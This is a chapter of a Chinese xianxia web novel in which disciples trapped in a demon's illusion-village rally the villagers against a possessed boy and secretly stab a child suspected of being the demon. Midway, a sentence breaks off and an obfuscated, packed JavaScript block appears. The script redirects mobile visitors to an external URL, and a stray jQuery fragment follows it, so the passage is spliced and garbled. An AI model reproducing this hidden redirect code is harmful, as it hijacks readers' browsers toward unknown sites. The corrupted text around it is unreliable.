整整寻了一天也不见小梧的踪影,似乎在前夜进入山林后,他就彻底失踪了。
期间钱婆到两家来闹过一回,三人互相都提了醒,装作全然一副被魇了之后丢失记忆的茫然模样,什么小梧,什么山林,都一无所知。
然后又听说她到大虎二虎家闹过,再就是...小年家。
“你是不知道,那钱婆子嘴可真是毒啊。人家小年也不过是跟小梧平日里一块儿玩,愣是逮着他劈头盖脸地骂。”戚明意向众人分享听来的八卦,不免咋舌,“怎么会有这种人啊。虽说这里只是个幻境,但这些人的行径也忒让人糟心了。”
“行了。说说正事吧。”穆延川想起钱婆的嘴脸就是头疼,赶紧转移开话题,“现在若儿、小悬和小川的骸骨都出现了,所以说...我们大概是逃了一劫?”
“可能吧。”洛风言说道:“毕竟我和路诏之前也是差不多的经历。”
“但为什么会是小梧?”路诏陡然发问,面露疑色,“你们不觉得,这些受伤、死亡和失踪的人,一直跟我们有关联吗?”
受重伤的陈启是若儿与小悬的爹,死亡的是打过交道的好友二毛的爹,失踪的是与他们起过冲突的小梧。
“是你的错觉吧。”戚明意蹙眉瞥了路诏一眼,“进山的猎户不都受了伤,只不过你因为不熟所以才忽视了他们。”
“啊,或许吧。”路诏喃喃点头,却并未因此消除疑虑。
此时沈若低头思索良久,终于开了口,“如果说是邪祟作乱...那你们有没有觉得,这个邪祟的能力似乎越来越强了。”
“好像是的。”穆延川回忆道:“如果说昨夜小梧的异样与邪祟有关,那说明它现在已经可以控制人了。”
“那我们得赶紧想办法阻止它。”江悬面色急促,“总不能眼睁睁看着一村人全都丢了性命。”
“可这里是...”路诏忍不住开口,却被江悬打断,“幻境?幻境又如何,难道真的要让这场悲剧在幻境中重演吗?”
气氛骤然僵持不下,却见戚明意打破平静:“不如今夜我们都留在幻境里,如何?”
“不妥。”穆延川眉头微皱,想起昨夜的经历,对众人道:“现在的问题在于,我们即使留在幻境中,也没有能力与邪祟一战。”
“要知道,现在,我们都是凡人。”
一群人齐齐低头看向自己的身体,又相互对视,两个伤患,三个小孩,唯二能有些力气的,只剩下戚明意和沈卿禾。
“七个人不行,那全村人呢?”沈若忽而抬起头。
众人眼神一震。
...
入夜,村子里寂静无声。躺在床上的小男孩突然睁开了眼睛,他直愣愣坐起,缓缓拉开门,熟练地打开门闩,从院子里走出。
此时他双眼无神,面容呆滞,行尸走肉一般循着路向村口走去。
恰好,经过了一户人家。
“爹,娘!”沈若轻唤一声,此时黑暗中一盏灯笼骤然点亮,站在门口的除了她和江悬,还有陈氏夫妇二人。
一盏灯亮起,紧接着下一户又有灯笼点亮,一盏接着一盏,村中灯火连成一片,一直延伸向村口。
除了他们之外,其余人家出动的大多是青壮男子,其中也有不少农妇提着镰刀出了门。
而在其中,沈若还看见了几个熟悉的面孔。
大虎二虎、大丫二丫。
二毛一家没在。
作为家中顶梁柱的丈夫赫然离世,一母一子相依为命,偶尔遇见,他二人都是郁郁寡欢。
“走!咱们不能让邪祟得逞!”有人高声喊了一句,又顿时压低了声音,周围的人在唇边竖起手指,静悄悄只剩脚步声。
最开始一行人都不敢靠近小男孩,连成一行的灯火远远跟在他身后,宛若游龙。
而后有胆子大的小孩跑上前去瞧,发现是小年,惊呼出声。
“怎么是牛跛子家的小子,哎哟...可怜啊...那么小就没了娘。”
有妇人感慨一声,招呼自己家的小子去屋里拿了件外衣,谨慎地给小年披上。见没什么反应,又有人跟在他身后给他束发,然后是擦脚、穿鞋。
有些调皮的小孩,甚至编了个草环在他头上,嗝嗝笑了两声。
夜间的树林原本阴森得可怕,但有了这么一条队伍,竟让黑夜也变得温馨。
而慢慢地,众人走进了山林深处。
本来人群中还在窃窃私语,忽而,在前面打头的猎户低呼一声“起雾了”,顿时,众人齐齐噤了声。
小年依旧在朝前走着,雾气开始愈发浓郁,而这般下去,只会重复与之前相同的经历。
“不能再让他走了!得拦住他!”
此话一出,只见江悬与穆延川从人群中飞快钻出,迅速上前拉住小年,明明那么瘦小而单薄的身体,此时却像灌了铅一般,无论二人怎么拽弄,他依旧朝前走着,步履未停。
“我来!”一个身形健硕的猎户走出,让二人退开,上手便打算将小年抱起,可即便离开了地面,一股强势的拉力依旧拽着他往前,猎户一个踉跄,被拖着向前走了好几步。
怎么会这样?
就在他们纷纷尝试的同时,雾气慢慢笼上前来,把一众人群浸在其中。
焦躁开始蔓延。
一个性子泼辣的妇人挥着把菜刀就站了出来,瞪着前面的一群男人,不忿地皱起眉,“磨磨蹭蹭地准备出嫁呢?一个个试来试去的,要我说,咱们干脆就一起上,我就不信那什么邪祟能敌得过这么多人的力量。”
说干就干,正好有猎户带了用来捆猎物的麻绳,利落一套,麻绳紧紧拴在了小年的腰间,而后众人握上了绳子,齐齐向后拉。
竟然僵持住了。
众人面上一喜,手下加大了力道,粗粝的麻绳摩擦得手掌已经破了皮,但无人松手。
“一、二!”不知是谁突然喊了一声,振奋起精神,一个使劲,小年被向后拉动。
动了!
也就在这一瞬,雾气如巨浪一般涌上来,将一切淹没。
...
视线再次清明时,一群人手里依旧攥着麻绳,而那种强烈对抗的拉力已然消失。
再环顾四周,竟不知到了何处。
此时他们所站之处,是一片空荡荡的草坪,满目的绿草铺开,直到被远处茂密的树林包围。
“看前面!”人群中有人惊呼,沈若抬头看去,正前方是与他们用麻绳拉住的小年,再往前,是一棵参天巨树。
“我的天爷,我还从没见过这么粗的树干。”
眼前的巨树粗壮得难以置信,十几人手牵手围作一圈怕都有些勉强,而小年呆呆立于树下,目光空洞,眼神直勾勾盯着巨树。
“那...那是什么!”
顺着手指的指向看去,正对的众人的树干上嵌着一个人形,像是天然与巨树长在一起,可这人形有鼻子有脸,五官分明。
沈若一行从人群中走出,绕过立在最前面的小年,缓缓靠近了巨树。而等他们走近,才隐隐发现了不对劲。
“这,这是小梧!”树上的人形五官清晰,能大致辨认出模样,而这人形的样貌,分明就是在昨夜消失的小梧。
江悬面露惊恐,赶紧挥手让其余人退回去,“别靠近那棵树,有古怪!”
可根本等不到他们退回身去,原本立在原地的小年突然动了,呆滞的面庞上浮现出近乎癫狂的笑容。
灰暗的眸子瞬即被黑色占据。
桀桀桀——
嘶哑而刺耳的笑声从四面八方传来,仔细听去,像是整片树林发出的声音。
“你们来了...”只见小年抬起头,漆黑的双眼与几人对上视线。
还未等他开口,就见身后的一大群村民举起锄头镰刀,怒而冲来。
“杀了邪祟!!”
小年那双漆黑的眸子里略带诧异,明明是小孩的声线,可偏就听出了一种诡异感,“竟然还利用起了幻境中这些虚假的残念?”
什么幻境?村民们动作一滞。
可随即,有人惊吼出声:“别听信邪祟的谗言,它分明就是想干扰我们!”
此话一出,众人再次振奋精神,齐齐冲上前去。
此时,小年咧嘴一笑。
只见绿草之下陡然伸出枝蔓,如活物一般瞬间缠上村民们的脚踝,原本聚在一块儿的人群仓皇逃窜,但那枝蔓迅速伸长,精准寻到目标,而后死死卷住猎物,往泥土中拖拽。
“爹、娘!”沈若的瞳孔顿时一震,抬脚便想要冲上前去,却见小年身后数条藤蔓拔地而起,织起一方屏障,将两边分隔开来。
一面是村民们的尖声惨叫,一面是目眦欲裂的束手无策,一群人此时都成为了邪祟手中的玩物,而在浓烈的情绪之下,它的力量越发强盛。
突然间,笑声骤然一断。
“小年”的表情突然僵硬,它缓缓低头,胸膛处破开一个大洞,森森黑气从其中涌出,在虚空中四溢开来。
“怎,怎么回事?”此时它震惊抬头,眼前沈若一行已经收了表情,目光沉沉,眼中尽是冷意。
“你精心制造的这场闹剧,该结束了。”
另一处,一只手将刺入胸膛里的小刀猛然拔出,血液喷涌,眼前人不可置信地瞪着双眼,倒在地上。
...
这一切,还得从进入幻境的第一天说起...
当天白天,沈若与穆延川同时注意到,在整个村子里连一根蜡烛都没有。而夜晚的荒村中出现了蜡烛,也因此让他们区分了白天的幻境与夜晚的现实。
可事实真的如此吗?
沈若本就抱持着怀疑,直到第二天回到幻境,看到桌上出现的蜡烛时,她才意识到了问题。
白天看见的蜡烛与昨夜桌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398543|168664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上出现的蜡烛确实有区别,一个只用了短短一截,另一个积满了灰,只剩半截。
可问题在于,积在底部的蜡油。
没有变化。
这种真实而细节的东西,是幻境中制造不出来的。
也就是说,无论白天或是夜晚,两个村子皆是虚假,都是被制造出来的幻境。
而既然是幻境,就必然会处在这只制造幻境的邪祟的监视之下,也就意味着,他们的一言一行,皆被洞悉。
但这只邪祟制造出如此幻境究竟为何,直到村里开始出事后,他们才隐约有所意识。
一切的冲突、一切的变化,生与死、爱与恨,全部在围绕着他们发展,一切的一切,是为了让他们深入其中,深陷其中。
而这些都是为了让他们产生“念”,念是邪祟诞生的源头,亦是助长它的养分。
他们这些外来者,就是养料的最佳来源。
于是,在夜间碰面时,众人暗中筹谋了另一个计划,一个不为邪祟所窥探到的,顺势而为的计划。
就在今夜,村民们一齐出动的这一夜,两个计划同时进行。
...
“幻境的逻辑与阵法相似,无论如何,会存在一个维持稳定的核心。”
“对阵法而言是阵眼,那么对幻境而言,应当是制造幻境的邪祟本身。”
“所以,倘若我们要破局,就得杀了这只邪祟。”
此时江悬与戚明意二人主导着场外的谈话,而在衣袍掩盖之下,腰间的弟子牌隐约而亮。
作为门派内部的传讯法器,弟子牌除了可用灵力催动远程交流之外,在近距离下,无需灵力便可在识海内沟通。
识海中。
“为了引导我们融入它设置的环境中,邪祟一定会选择潜伏在我们周围。”
“所以目前来看,与我们接触比较多的几人,都很可疑。”
“我之前查看过夜晚村中出现的尸骨,这种真实程度肯定不是仅凭记忆能模仿出来,所以能够肯定的是,这些尸体的确有实物存在。”
“找这么看来,那些从始至终没有出现过的尸体最为可疑。”
“排除掉我们七人所占用的身份,剩下的,也就是邪祟可以冒充的身份。”
“这么排除下来,剩下的就没几个人了。”
“对了,你们还记得在我们搜查过的那些地方吗?这么多户人家中,有一处地方的细节明显比其他地方要多...门闩、牛棚、牛的骸骨...”
“你说的是小年家?”
“嗯,是那里。”
“如此看来,邪祟应当就是小年咯。”
“但他并不符合第一个条件...”
小年虽然与他们有过交集,但着实接触不多。
“有没有可能不止一个阵眼呢?就像四方困灵阵那样。”
“你的意思是,还有别人?”
“那这么说...那些没有尸体的,都有可能是邪祟幻化出来的。”
众人眼中齐齐闪过一道惊骇。
“此外还有另一个发现,在幻境中出现的村民们都会收到残念的影响,保持着特有的性格。”
“这一点,可以利用。”
...
沈若一行与村民们离开村子,跟着小年一同进了山林,此时村子里留下的,都是老弱妇孺,以及两个身受重伤在家里养伤的猎户。
洛风言和路诏。
当然,还有一个麻烦精在村里。
钱婆。
白天跟村长商议时,戚明意与沈卿禾二人无意中在门口闲聊,提及了一些孩子间的事情。
而这些话,被听墙角的钱婆听了去。
前脚村里人刚走,后脚钱婆就从院子里摸了出来,鬼鬼祟祟绕到了一户人家门口,敲开了门。
这小子从前就跟小梧不对付,现在又闭门不出,定然是心里有鬼!
而后只听见一家院子里传来吵闹声,洛风言和路诏离得近,闻声寻去,腿没受伤的搀扶着胳膊没受伤的,看起来颇有些滑稽。
二毛家的门大开着,里边传来老妇和女子的争吵声,以及一个男孩凶狠的怒斥。
果然跟二丫说的一样,这个钱婆真的是逮谁咬谁,难缠得很。
大概是两个壮硕的猎户立在中间颇有些气势,钱婆的咒骂声越来越弱,然后灰溜溜离开。
闹剧暂时告结,洛风言看着蹲在地上啜泣的二毛,不免心生怜意。
可惜了...
安慰地上前拍了拍,洛风言缓缓闭上眼,紧咬牙关,狠狠刺去。
场面突然混乱起来。
只见二毛难以置信地瞪大了双眼,低头看向胸前渗出的血迹,而此时洛风言的脸色已然惨白一片,离开刀柄的手微微颤抖。
路诏不由分说,一个上前,伸手将刀从胸膛中拔出。
血液喷涌,砰然倒地。